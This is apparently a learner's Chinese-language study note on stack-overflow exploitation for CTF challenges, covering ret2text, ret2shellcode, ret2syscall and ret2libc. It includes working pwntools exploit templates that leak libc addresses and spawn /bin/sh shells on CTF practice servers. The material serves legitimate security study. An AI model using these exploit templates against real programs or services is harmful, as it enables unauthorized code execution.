# 栈溢出原理
先把基本栈溢出原理说清楚,上图可能不太清晰。
自己的话讲就是函数 A 原本 rbp 和 rsp,call 调用函数 B 后,rbp 上去变成 rsp, 原本的 rsp 随着函数 B 各种参数,寄存器 balabala 继续往栈顶生长。调用 B 完再逆操作,回到函数 A,rbp 回到函数 A 的返回地址,rsp 回到函数 B 底部,leave 之后 ret 进入 A
所以!!我们怎么利用呢
距离 rbp 在调用完函数 B 回到函数 A 时,我们已经把函数 B 溢出点距离 rbp 的内容填满,加上目标地址,最后回到函数 A 过程中,rbp 就在目标地址那
通俗:溢出点距离 rbp 多少空间 + 目标地址 + rbp (64-8//32-4)-> 发送这个
嗯,应该是这样的,不对回来再改(U ´ᴥ` U)
看这个!!!这个好详细!!!https://www.bilibili.com/video/BV1SB4y1H79Y/?spm_id_from=333.337.search-card.all.click&vd_source=349e837d16672b55951deac3adfe4534
# 查看偏移量
1.直接在IDA里眼瞅 | |
2.用cyclic | |
pwndbg> cyclic 200 | |
pwndbg> run | |
看到报错“Invalid address 0x[xxxx]” | |
pwndbg> cyclic -l 0x[xxxx](或者haab??) | |
3.gdb-peda | |
用法和cyclic差不多, | |
pattern create 200 | |
c | |
pattern offset [xxxx] |
# ret2text———— 适用于可以看到 system 后门函数的时候用
上题目!————Buu--warmup_csaw_2016
gets () 危险函数,v5 就是溢出点,距离 0x40
应该选择压入参数 cat flag 的地址 0x400611
from pwn import * | |
p = remote('node5.buuoj.cn',26256) | |
payload=b'a'*(0x40+8)+p64(0x400611) | |
p.sendline(payload) | |
p.interactive() |
# ret2shellcode
没有后门函数,没有直接的 system (/bin/sh) 的时候用!
shellcode 所在的区域具有可执行权限!———— 所以开启 NX 保护应该是用不了的
让它在脚本里生成一个 shellcode(指令为:shellcode = asm (shellcraft.sh()))
这个是 pwntools 自带的,用这个相当于我们整了一个 /bin/sh 过去
基本脚本: | |
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') // 废话(bushi)但是要写 | |
p = process("balabala")/remote("ip",port) | |
shellcode = asm(shellcraft.sh()) | |
payload = shellcode.ljust(offset,'a')+p32(0x[溢出地址]) | |
// 填充偏移量,如果 offset>shellcode, 继续填充垃圾字节 | |
p.sendline(payload) | |
p.interactive() |
# ret2syscall
在 ret2shellcode 条件下开了 NX 保护的时候用
# 原理:
利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用
mov eax,
0xb mov ebx,
[“/bin/sh”]
mov ecx,
0 mov edx,
0 int 0x80
转自某一个博客:在 Linux 中,系统调用通常通过 int 80h 汇编代码实现,int 终端,80h 则是代指的系统调用的终端符号,当程序执行到 int 80h 时,就会将相应的通用寄存器 eax 中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数(execve ("/bin/sh",NULL,NULL) ) //(32 位程序)
所以我们的目标 -> 调用 execve ()
rax rdx rcx rbx
rdi rsi rcx rbx r9 r10
!!! 如何调用 execve () 函数
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
使用gdb | |
1.寻找控制 eax 的 gadgets | |
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax' | |
2.ebx,edx,ecx的ret | |
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' | |
#或者直接ROPgadget --binary 文件名 --only 'pop|ret'查看所有的 | |
3.获得 /bin/sh 字符串对应的地址。 | |
ROPgadget --binary 文件名 --string '/bin/sh' | |
4.int 0x80 的地址 | |
ROPgadget --binary r文件名 --only 'int' | |
最后的payload=垃圾字节+(eax-ret+ebx-ret+ecx-ret+edx-ret+/bin/sh+0x80)->的地址 |
# ret2libc
没有后门函数同时开启 NX 保护
一般有 puts ()、printf ()、writes () 等,且使用了 libc 库
取自大佬博客!!我愿称之为神!大彻大悟!醍醐灌顶!
函数的真实地址 = 基地址 + 偏移地址
呜呜呜,更一下,ldd filename 就可以查看文件本地的 libc 版本 555
https://www.cnblogs.com/falling-dusk/p/17856141.html
https://rj45mp.github.io/ 深入理解 ret2libc/
https://blog.csdn.net/qq_51032807/article/details/114808339
https://blog.csdn.net/Mr_Fmnwon/article/details/130959123
先上板子
# 32 位
from pwn import * | |
e = ELF("./ret2libc3_32") | |
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析 | |
p = process("./ret2libc3_32") | |
puts_plt = e.plt['puts'] #puts函数的入口地址 | |
puts_got = e.got['puts'] #puts函数的got表地址 | |
start_addr = e.symbols['_start'] #程序的起始地址 | |
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got) | |
#attach(p, "b *0x0804868F") | |
#pause() | |
p.sendlineafter("Can you find it !?", payload1) | |
puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节 | |
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr))) | |
print("puts_real_addr: ", hex(puts_real_addr)) | |
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址 | |
print(hex(libc_addr)) | |
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址 | |
binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #计算binsh字符串的真实地址 | |
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr) | |
#pause() | |
p.sendline(payload2) | |
p.interactive() |
# 64 位
payload = b"a" * offset #垃圾数据的填充 | |
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got | |
payload += p64(read_got) #想要存入rdi的参数 | |
payload += p64(puts_plt) #puts的入口地址,即plt表的地址 | |
payload += p64(main_addr) #程序的起始地址 |
# 板子
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64 (p.recvuntil ('\x7f')[-6:].ljust (8, b'\x00')) #read 函数的真实地址,由于真实地址总是从 7f 开始,故从 7f 开始接收,长度补足 8 个字节
print ("read_real_addr:", hex (read_real_addr))
剩下的和 32 位的一样
一个大佬的 64 位样例
from pwn import * #pwntools | |
from LibcSearcher import * #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库 | |
elf=ELF("./babyof") #获取got/plt等程序信息 | |
context(arch="amd64",log_level="debug",os="linux") | |
pop_ret_rdi_addr=0x400743 #64linux,用于参数填入函数 | |
puts_plt_addr=0x400520 #用于调用puts,打印(泄露)got表填写的函数真实地址 | |
main_addr=0x40066b #用于返回main函数,准备第二次栈溢出(?) | |
ret=0x400506 #用于返回,否则出错(?) | |
io=remote("node4.anna.nssctf.cn",28715) #远程连接 | |
payload=b'a'*(0x40+8) #溢出 | |
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"]) #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址 | |
payload+=p64(puts_plt_addr) #puts的plt地址,用于(参数准备好后)调用call puts | |
payload+=p64(main_addr) #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出 | |
io.sendlineafter("overflow?\n",payload) #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出 | |
io.recvuntil('win\n') | |
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数 | |
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。 | |
#=====================================================之所以称为ret2libc:======================================================= | |
libc=LibcSearcher('puts',puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) | |
libc_addr=puts_real_addr-libc.dump("puts") #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量 | |
bin_sh_addr=libc_addr+libc.dump("str_bin_sh") #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量 | |
system_real_addr=libc_addr+libc.dump("system") #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量 | |
#=============================================================================================================================== | |
payload2=b'a'*(0x40+8) #栈溢出 | |
payload2+=p64(ret) #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在 | |
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 | |
payload2+=p64(system_real_addr) #调用system | |
payload2+=p64(main_addr) #只是为了能够找到一个合法地址(?) | |
io.sendlineafter("overflow?\n",payload2) #栈溢出点发送payload | |
io.recv() #吸收一下发过来的数据,没必要 | |
io.interactive() #开始交互,ls -> cat flag |
好啦好啦,要刷题啦()